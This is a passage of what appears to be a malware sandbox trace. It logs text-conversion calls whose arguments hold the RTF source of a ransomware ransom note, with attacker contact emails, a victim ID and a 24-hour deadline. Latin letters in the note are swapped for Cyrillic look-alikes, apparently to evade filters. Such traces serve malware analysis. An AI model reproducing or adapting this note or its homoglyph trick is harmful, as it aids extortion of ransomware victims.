\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 